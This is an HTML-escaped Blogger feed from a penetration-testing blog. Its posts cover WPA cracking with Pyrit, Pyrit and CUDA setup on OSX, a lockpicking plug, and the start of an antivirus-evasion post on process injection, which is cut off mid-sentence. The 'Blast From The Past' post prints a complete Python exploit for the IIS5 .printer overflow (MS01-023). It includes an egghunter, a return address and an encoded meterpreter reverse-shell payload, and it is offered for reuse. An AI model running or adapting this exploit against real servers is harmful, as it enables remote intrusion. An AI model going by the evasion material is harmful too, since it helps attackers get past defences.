add more passwords with numbers before batching the new passwords with pyrit. Pyrit will get rid of the useless passwords for you during password import. &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;b&gt;&lt;span style="color: #3d85c6; font-size: 12pt;"&gt;The pyrit cracking issue:&lt;/span&gt;&lt;/b&gt;&lt;span style="color: #3d85c6;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: 12pt;"&gt;I belive the cracking and parsing issue in pyrit was due to the version of pyrit that I was using. For me the only version of pyrit that functions correctly is the SVN version of pyrit currently available on the pyrit site. Any other version failed to work correctly for both parsing and for GPU cracking... See the previous post on this blog for getting your OSX machine to work with GPU and Pyrit. What this will do for you is allow you to efficiently crack passwords in pyrit with much quicker speeds even when passwords are not precomputed. &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: 12pt;"&gt;I hope some of these techniques are useful in your penetration testing whether its standard pentesting and password cracking or in my case WPA cracking.. These are mostly notes for myself in the future when I forget what the heck I did with filesizes and other issues random issues....&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5948768001255972621-2274609355983975289?l=console-cowboys.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://console-cowboys.blogspot.com/feeds/2274609355983975289/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://console-cowboys.blogspot.com/2011/01/more-wpa-cracking-techniques-jtr-pyrit.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/2274609355983975289'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/2274609355983975289'/><link rel='alternate' type='text/html' href='http://console-cowboys.blogspot.com/2011/01/more-wpa-cracking-techniques-jtr-pyrit.html' title='WPA JTR/Pyrit/cowpatty uses and cracking interoperability'/><author><name>Ficti0n</name><uri>http://www.blogger.com/profile/01503121397289908637</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5948768001255972621.post-2230956627648588149</id><published>2011-01-05T14:29:00.000-08:00</published><updated>2011-01-05T15:10:37.251-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pyrit'/><category scheme='http://www.blogger.com/atom/ns#' term='wpa pmk'/><category scheme='http://www.blogger.com/atom/ns#' term='wpa'/><category scheme='http://www.blogger.com/atom/ns#' term='wifi'/><category scheme='http://www.blogger.com/atom/ns#' term='cuda'/><title type='text'>Setting up Pyrit on OSX with CUDA Support</title><content type='html'>A quick guide on getting &lt;a href="http://code.google.com/p/pyrit/"&gt;pyrit&lt;/a&gt; installed and working on OSX with gpu (CUDA) support.&lt;div&gt;&lt;br /&gt;First you need to download and install CUDA drivers and CUDA SDK from nvidia.&lt;br /&gt;Drivers -&lt;br /&gt;&lt;a href="http://www.nvidia.com/object/macosx-cuda-3.2.17-driver.html"&gt;http://www.nvidia.com/object/macosx-cuda-3.2.17-driver.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;CUDA SDK -&lt;br /&gt;&lt;a href="http://www.nvidia.com/object/thankyou.html?url=/compute/cuda/3_2_prod/toolkit/cudatoolkit_3.2.17_macos.pkg"&gt;http://www.nvidia.com/object/thankyou.html?url=/compute/cuda/3_2_prod/toolkit/cudatoolkit_3.2.17_macos.pkg&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Next you need to install &lt;a href="http://www.secdev.org/projects/scapy/"&gt;Scapy&lt;/a&gt;&lt;br /&gt;Scapy requires a couple libraries to be installed first - pylibpcap and libdnet.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Download and install libdnet and its python bindings&lt;br /&gt;&lt;/b&gt;&lt;a href="http://libdnet.googlecode.com/files/libdnet-1.12.tgz"&gt;http://libdnet.googlecode.com/files/libdnet-1.12.tgz&lt;/a&gt;&lt;br /&gt;&lt;blockquote&gt;tar -xzf libdnet-1.12.tgz&lt;br /&gt;cd libdnet-1.12&lt;br /&gt;./configure&lt;br /&gt;make&lt;br /&gt;sudo make install&lt;br /&gt;cd python&lt;br /&gt;sudo python setup.py install&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Download and install pylibpcap&lt;br /&gt;&lt;/b&gt;&lt;a href="http://dfn.dl.sourceforge.net/sourceforge/pylibpcap/pylibpcap-0.6.2.tar.gz"&gt;http://dfn.dl.sourceforge.net/sourceforge/pylibpcap/pylibpcap-0.6.2.tar.gz&lt;/a&gt;&lt;br /&gt;&lt;blockquote&gt;tar -xzf pylibpcap-0.6.2.tar.gz&lt;br /&gt;cd pylibpcap-0.6.2&lt;br /&gt;sudo python setup.py install&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Download and install scapy&lt;br /&gt;&lt;/b&gt;&lt;a href="http://www.secdev.org/projects/scapy/files/scapy-latest.tar.gz"&gt;http://www.secdev.org/projects/scapy/files/scapy-latest.tar.gz&lt;/a&gt;&lt;br /&gt;&lt;blockquote&gt;tar -xzf scapy-latest.tar.gz&lt;br /&gt;cd scapy-latest&lt;br /&gt;sudo python setup.py install&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now that all the pre-reqs are installed we can now build and install Pyrit.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Download the latest pyrit from svn -&lt;br /&gt;&lt;/b&gt;&lt;blockquote&gt;svn checkout http://pyrit.googlecode.com/svn/trunk/ pyrit-read-only&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;b&gt;Build and install pyrit -&lt;br /&gt;&lt;/b&gt;&lt;blockquote&gt;cd pyrit-read-only&lt;br /&gt;cd pyrit&lt;br /&gt;sudo python setup.py install&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Build and install pyrit-cuda -&lt;br /&gt;&lt;/b&gt;&lt;blockquote&gt;cd pyrit-read-only&lt;br /&gt;cd cpyrit_cuda&lt;br /&gt;sudo LDFLAGS=-L/usr/local/cuda/lib python setup.py install&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now that Pyrit is installed verify that cuda support is working -&lt;br /&gt;&lt;blockquote&gt;pyrit list_cores&lt;br /&gt;Pyrit 0.4.0-dev (svn r288) (C) 2008-2010 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;This code is distributed under the GNU General Public License v3+&lt;br /&gt;&lt;br /&gt;The following cores seem available...&lt;br /&gt;#1: 'CUDA-Device #1 'GeForce GT 330M''&lt;br /&gt;#2: 'CPU-Core (SSE2)'&lt;br /&gt;#3: 'CPU-Core (SSE2)'&lt;br /&gt;#4: 'CPU-Core (SSE2)'&lt;br /&gt;#5: 'Network-Clients'&lt;/blockquote&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5948768001255972621-2230956627648588149?l=console-cowboys.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://console-cowboys.blogspot.com/feeds/2230956627648588149/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://console-cowboys.blogspot.com/2011/01/setting-up-pyrit-on-osx.html#comment-form' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/2230956627648588149'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/2230956627648588149'/><link rel='alternate' type='text/html' href='http://console-cowboys.blogspot.com/2011/01/setting-up-pyrit-on-osx.html' title='Setting up Pyrit on OSX with CUDA Support'/><author><name>someLuser</name><uri>http://www.blogger.com/profile/16124941373996159409</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5948768001255972621.post-1786017024358924359</id><published>2010-11-24T07:39:00.000-08:00</published><updated>2010-11-24T08:39:15.364-08:00</updated><title type='text'>Blast From The Past</title><content type='html'>Recently on a test I ran into a windows 2000 server running iis5 with the Internet Printing module enabled, I was quite surprised by this but...a shell is a shell right? Since this was on the job and I wasn't wearing my cowboy hat I fired up my windows 2000 VM (who doesn't have one of those?) and went to work.  Metasploit has a module for this vuln (exploit/windows/iis/ms01_023_printer) but surprisingly it is pretty flakey.  On the first run of the exploit module it did not work so I took a look at my configuration of IIS again to make sure that everything was setup properly. After confirming IIS settings I tried the module a couple more times and finally was able to get a shell. I restarted IIS and tried the module a few more times...it was still hit or miss - sometimes it would work on the first try sometimes it would take three tries, something was strange....&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;After breaking out immunity debugger it became clear as to why the exploit did not work everytime. According to the metasploit module the shellcode was being held at an offset of EBX and with a short assembly stub we jump to that location (see metasploit snippet below)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;div&gt;              &lt;/div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;  buf = make_nops(280)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;                buf[268, 4] = [target.ret].pack('V')&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;                # payload is at: [ebx + 96] + 256 + 64&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;                buf &lt;&lt; "\x8b\x4b\x60"        # mov ecx, [ebx + 96]&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;                buf &lt;&lt; "\x80\xc1\x40"        # add cl, 64&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;                buf &lt;&lt; "\x80\xc5\x01"        # add ch, 1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;                buf &lt;&lt; "\xff\xe1"            # jmp ecx&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;                sock.put("GET http://#{buf}/NULL.printer?#{payload.encoded} HTTP/1.0\r\n\r\n")&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;While this does work, it appears that sometimes the payload is not within the window and the exploit is not successful. Since we know about where in memory our payload will be when we gain control of EIP seems like a good place to use an egghunter :) I started out with an existing egghunter &lt;span&gt;&lt;span&gt;(http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf)&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Courier; font-size: 10px; "&gt; &lt;/span&gt;and modified it a little since I know about where in memory my payload is there was no sense looking everywhere for it :) A warning ahead of time - I was lazy and nop'd out the access violation check...I had plenty of bytes to burn ;) - &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;mov edx, ebx &lt;span class="Apple-tab-span" style="white-space:pre"&gt;	&lt;/span&gt;#ebx is the area of our starting point&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;or dx, 0fff&lt;span class="Apple-tab-span" style="white-space:pre"&gt;		&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;/span&gt;xor dx,0fff&lt;span class="Apple-tab-span" style="white-space:pre"&gt;		&lt;/span&gt;#clear out the bottom half of edx for the start of our loop&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;inc edx&lt;span class="Apple-tab-span" style="white-space:pre"&gt;			&lt;/span&gt;#increment edx - this is the start of our loop&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;nop&lt;span class="Apple-tab-span" style="white-space:pre"&gt;				&lt;/span&gt;#abbreviated nops where the original access violation check was&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;...&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;...&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;mov eax, 57303054&lt;span class="Apple-tab-span" style="white-space:pre"&gt;	&lt;/span&gt;#load our egg "W00T"&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;mov edi, edx&lt;span class="Apple-tab-span" style="white-space:pre"&gt;			&lt;/span&gt;#set edi to point at our current location in memory&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;scas dword ptr es:[edi]&lt;span class="Apple-tab-span" style="white-space:pre"&gt;	&lt;/span&gt;#compare our egg to dword at edi&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;jnz  &lt;span class="Apple-tab-span" style="white-space:pre"&gt;						&lt;/span&gt;#jump back to the start of our loop (inc edx) if we didnt find the egg&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;meta charset="utf-8"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;scas dword ptr es:[edi]&lt;span class="Apple-tab-span" style="white-space: pre; "&gt;	&lt;/span&gt;#compare our egg to the next dword for the 2nd part of the egg&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;meta charset="utf-8"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;jnz  &lt;span class="Apple-tab-span" style="white-space: pre; "&gt;					&lt;/span&gt;#jump back to the start of our loop (inc edx) if we didnt find the 2nd egg&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;jmp edi&lt;span class="Apple-tab-span" style="white-space:pre"&gt;				&lt;/span&gt;#jump to edi as it points to the first byte after our egg&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt; After implementing the egghunter into the exploit I had no issues getting a shell everytime :)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Full exploit below - obviously will have to change the shellcode for it to work for you - &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;import urllib2&lt;/div&gt;&lt;div&gt;import sys&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;shell= "T00WT00W"&lt;/div&gt;&lt;div&gt;shell +="\x90"*(10)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;########################################################################################################&lt;/div&gt;&lt;div&gt;#  msfpayload windows/meterpreter/reverse_tcp lhost=192.168.170.1 R|msfencode -e x86/alpha_upper -t c  #&lt;/div&gt;&lt;div&gt;########################################################################################################&lt;/div&gt;&lt;div&gt;shell += ("\x89\xe1\xd9\xe8\xd9\x71\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x43\x43"&lt;/div&gt;&lt;div&gt;"\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30\x56\x58\x34\x41"&lt;/div&gt;&lt;div&gt;"\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42"&lt;/div&gt;&lt;div&gt;"\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50"&lt;/div&gt;&lt;div&gt;"\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a\x48\x4b\x39\x43\x30\x45"&lt;/div&gt;&lt;div&gt;"\x50\x45\x50\x45\x30\x4d\x59\x4a\x45\x50\x31\x4e\x32\x45\x34"&lt;/div&gt;&lt;div&gt;"\x4c\x4b\x46\x32\x50\x30\x4c\x4b\x51\x42\x44\x4c\x4c\x4b\x51"&lt;/div&gt;&lt;div&gt;"\x42\x44\x54\x4c\x4b\x43\x42\x46\x48\x44\x4f\x4f\x47\x50\x4a"&lt;/div&gt;&lt;div&gt;"\x46\x46\x46\x51\x4b\x4f\x46\x51\x49\x50\x4e\x4c\x47\x4c\x43"&lt;/div&gt;&lt;div&gt;"\x51\x43\x4c\x44\x42\x46\x4c\x51\x30\x49\x51\x48\x4f\x44\x4d"&lt;/div&gt;&lt;div&gt;"\x43\x31\x49\x57\x4b\x52\x4a\x50\x46\x32\x51\x47\x4c\x4b\x50"&lt;/div&gt;&lt;div&gt;"\x52\x42\x30\x4c\x4b\x47\x32\x47\x4c\x45\x51\x48\x50\x4c\x4b"&lt;/div&gt;&lt;div&gt;"\x47\x30\x42\x58\x4b\x35\x4f\x30\x42\x54\x51\x5a\x43\x31\x4e"&lt;/div&gt;&lt;div&gt;"\x30\x50\x50\x4c\x4b\x47\x38\x42\x38\x4c\x4b\x46\x38\x51\x30"&lt;/div&gt;&lt;div&gt;"\x45\x51\x49\x43\x4d\x33\x47\x4c\x50\x49\x4c\x4b\x47\x44\x4c"&lt;/div&gt;&lt;div&gt;"\x4b\x43\x31\x4e\x36\x50\x31\x4b\x4f\x46\x51\x49\x50\x4e\x4c"&lt;/div&gt;&lt;div&gt;"\x49\x51\x48\x4f\x44\x4d\x45\x51\x48\x47\x47\x48\x4d\x30\x42"&lt;/div&gt;&lt;div&gt;"\x55\x4b\x44\x44\x43\x43\x4d\x4b\x48\x47\x4b\x43\x4d\x46\x44"&lt;/div&gt;&lt;div&gt;"\x44\x35\x4a\x42\x50\x58\x4c\x4b\x50\x58\x46\x44\x45\x51\x49"&lt;/div&gt;&lt;div&gt;"\x43\x42\x46\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x48\x45\x4c"&lt;/div&gt;&lt;div&gt;"\x43\x31\x49\x43\x4c\x4b\x45\x54\x4c\x4b\x43\x31\x48\x50\x4d"&lt;/div&gt;&lt;div&gt;"\x59\x51\x54\x47\x54\x47\x54\x51\x4b\x51\x4b\x43\x51\x46\x39"&lt;/div&gt;&lt;div&gt;"\x51\x4a\x46\x31\x4b\x4f\x4d\x30\x50\x58\x51\x4f\x51\x4a\x4c"&lt;/div&gt;&lt;div&gt;"\x4b\x42\x32\x4a\x4b\x4b\x36\x51\x4d\x42\x48\x46\x53\x46\x52"&lt;/div&gt;&lt;div&gt;"\x43\x30\x43\x30\x43\x58\x42\x57\x42\x53\x47\x42\x51\x4f\x50"&lt;/div&gt;&lt;div&gt;"\x54\x43\x58\x50\x4c\x43\x47\x46\x46\x43\x37\x4b\x4f\x49\x45"&lt;/div&gt;&lt;div&gt;"\x48\x38\x4a\x30\x45\x51\x45\x50\x45\x50\x46\x49\x49\x54\x50"&lt;/div&gt;&lt;div&gt;"\x54\x50\x50\x45\x38\x46\x49\x4b\x30\x42\x4b\x45\x50\x4b\x4f"&lt;/div&gt;&lt;div&gt;"\x48\x55\x46\x30\x50\x50\x46\x30\x46\x30\x47\x30\x46\x30\x51"&lt;/div&gt;&lt;div&gt;"\x50\x46\x30\x42\x48\x4b\x5a\x44\x4f\x49\x4f\x4d\x30\x4b\x4f"&lt;/div&gt;&lt;div&gt;"\x49\x45\x4a\x37\x42\x4a\x43\x35\x45\x38\x4f\x30\x49\x38\x4f"&lt;/div&gt;&lt;div&gt;"\x5a\x43\x31\x45\x38\x44\x42\x43\x30\x42\x31\x51\x4c\x4c\x49"&lt;/div&gt;&lt;div&gt;"\x4a\x46\x43\x5a\x42\x30\x50\x56\x51\x47\x43\x58\x4a\x39\x49"&lt;/div&gt;&lt;div&gt;"\x35\x43\x44\x43\x51\x4b\x4f\x48\x55\x4d\x55\x4f\x30\x43\x44"&lt;/div&gt;&lt;div&gt;"\x44\x4c\x4b\x4f\x50\x4e\x43\x38\x44\x35\x4a\x4c\x45\x38\x4a"&lt;/div&gt;&lt;div&gt;"\x50\x48\x35\x4f\x52\x50\x56\x4b\x4f\x48\x55\x43\x5a\x43\x30"&lt;/div&gt;&lt;div&gt;"\x43\x5a\x44\x44\x46\x36\x51\x47\x42\x48\x45\x52\x4e\x39\x4f"&lt;/div&gt;&lt;div&gt;"\x38\x51\x4f\x4b\x4f\x48\x55\x4c\x4b\x47\x46\x43\x5a\x51\x50"&lt;/div&gt;&lt;div&gt;"\x42\x48\x45\x50\x42\x30\x43\x30\x43\x30\x50\x56\x42\x4a\x45"&lt;/div&gt;&lt;div&gt;"\x50\x45\x38\x50\x58\x4e\x44\x46\x33\x4b\x55\x4b\x4f\x49\x45"&lt;/div&gt;&lt;div&gt;"\x4a\x33\x46\x33\x43\x5a\x43\x30\x50\x56\x51\x43\x50\x57\x42"&lt;/div&gt;&lt;div&gt;"\x48\x44\x42\x48\x59\x4f\x38\x51\x4f\x4b\x4f\x4e\x35\x45\x51"&lt;/div&gt;&lt;div&gt;"\x49\x53\x51\x39\x49\x56\x4d\x55\x4c\x36\x43\x45\x4a\x4c\x4f"&lt;/div&gt;&lt;div&gt;"\x33\x44\x4a\x41\x41")&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;egghunter="\x8B\xD3\x66\x81\xCA\xFF\x0F\x66\x81\xF2\xFF\x0F\x42\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xB8\x54\x30\x30\x57\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;buff = 'A'*268 + '\x4d\x3f\xe3\x77' +"\x90"*5 + egghunter + '\x90'*156&lt;/div&gt;&lt;div&gt;useragent = 'Shit Bird'&lt;/div&gt;&lt;div&gt;header = {'User-Agent':useragent, 'Host':buff}&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;req = urllib2.Request('http://'+sys.argv[1]+'/NULL.printer?'+shell,headers = header)&lt;/div&gt;&lt;div&gt;res = urllib2.urlopen(req)&lt;/div&gt;&lt;div&gt;res.close()&lt;/div&gt;&lt;/div&gt;&lt;meta charset="utf-8"&gt;&lt;meta charset="utf-8"&gt;&lt;meta equiv="Content-Type" content="text/html; charset=UTF-8"&gt; &lt;meta equiv="Content-Style-Type" content="text/css"&gt; &lt;title&gt;&lt;/title&gt; &lt;meta name="Generator" content="Cocoa HTML Writer"&gt; &lt;meta name="CocoaVersion" content="1038.35"&gt; &lt;style type="text/css"&gt; p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 10.1px Courier} &lt;/style&gt;   &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5948768001255972621-1786017024358924359?l=console-cowboys.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://console-cowboys.blogspot.com/feeds/1786017024358924359/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://console-cowboys.blogspot.com/2010/11/blast-from-past.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/1786017024358924359'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/1786017024358924359'/><link rel='alternate' type='text/html' href='http://console-cowboys.blogspot.com/2010/11/blast-from-past.html' title='Blast From The Past'/><author><name>someLuser</name><uri>http://www.blogger.com/profile/16124941373996159409</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5948768001255972621.post-3730464366483433522</id><published>2010-08-20T22:28:00.000-07:00</published><updated>2010-08-20T22:28:30.188-07:00</updated><title type='text'>Open LockSport Donations</title><content type='html'>A slight divergence from the technical for a moment, everyone should go check out a cool new line of custom lock-picking tools that will be coming out shortly. Pre-Order yours by providing a donation to get the business started. I proudly donated a very large sum to this cause today and setup onsite training as well for a group of my friends with the creator of these lock-picks.... &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Check it out!!! &lt;br /&gt;&lt;br /&gt;http://www.kickstarter.com/projects/schuyler/lockpicks-by-open-locksport/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Generally I like to stay 100% technical posts but this guy was really cool, extremely excited about what he does and thats what I like to see!!! Motivated people with passion about their interests... I am always about supporting individuals like this... So check them out and get yourself a nice set of custom lock-pick tools... &lt;br /&gt;&lt;br /&gt;And if youre in the cleveland area and interested in lockpicking, send me a message and i will let you know about lockpicking meet ups.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5948768001255972621-3730464366483433522?l=console-cowboys.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://console-cowboys.blogspot.com/feeds/3730464366483433522/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://console-cowboys.blogspot.com/2010/08/open-locksport-donations.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/3730464366483433522'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/3730464366483433522'/><link rel='alternate' type='text/html' href='http://console-cowboys.blogspot.com/2010/08/open-locksport-donations.html' title='Open LockSport Donations'/><author><name>Ficti0n</name><uri>http://www.blogger.com/profile/01503121397289908637</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5948768001255972621.post-6199241118643157668</id><published>2010-08-17T18:39:00.001-07:00</published><updated>2010-08-17T19:39:57.535-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='post'/><category scheme='http://www.blogger.com/atom/ns#' term='bypass'/><category scheme='http://www.blogger.com/atom/ns#' term='exploitation'/><category scheme='http://www.blogger.com/atom/ns#' term='injection'/><category scheme='http://www.blogger.com/atom/ns#' term='Antivirus'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><title type='text'>Bypassing AntiVirus With Process Injection</title><content type='html'>There is a new tool for anti virus bypass which allows an attacker to inject shellcode into a process Post exploitation. Enabling the attacker to pass a shell to a remote location, generally i assume this would be a meterpreter shell for obvious reasons. Those of us who penetration test for a living are aware of the need to sometimes have a shell after obtaining gui system access. Buuuut Antivirus can be a real pain in the ass sometimes. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A few people came to me today saying they tried this new technique and it looked awesome but was not functioning correctly, below is a description of why it was not working for them and how to fix it.. here is a link for the program as reference.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;https://sites.google.com/site/mamit30/home/injector&lt;/div&gt;&lt;br /&gt;Videos are cool and all but as we know they tend to leave things out, in this case they left out the proper way to create shellcode. They also left out how to create the file to inject into the process, so below is a walkthrough without missing any details of how to get a shell by injecting into a process with injector...   Honestly, I wish people who developed tools would not leave out details in their videos. I also wish they would learn to talk and explain things as they create the video rather then having a distracting song.. &lt;br /&gt;&lt;br /&gt;Mainly I believe the issues people were having are of bad character sets within their shellcode. (Although I did not verify this in a debugger, the crash behavior leans towards this assumption)&lt;br /&gt;&lt;br /&gt;When you inject a payload into a process if any characters are bad such as a Null characters the process will automatically terminate or create undesired results, it doesn't always have to be null and all processes and programs are created differently depending what they are looking for.Encoding is a good way to solve these issues. So lets get to it!!&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Original Video:&lt;/span&gt; http://vimeo.com/14139105&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;b&gt;Issues people 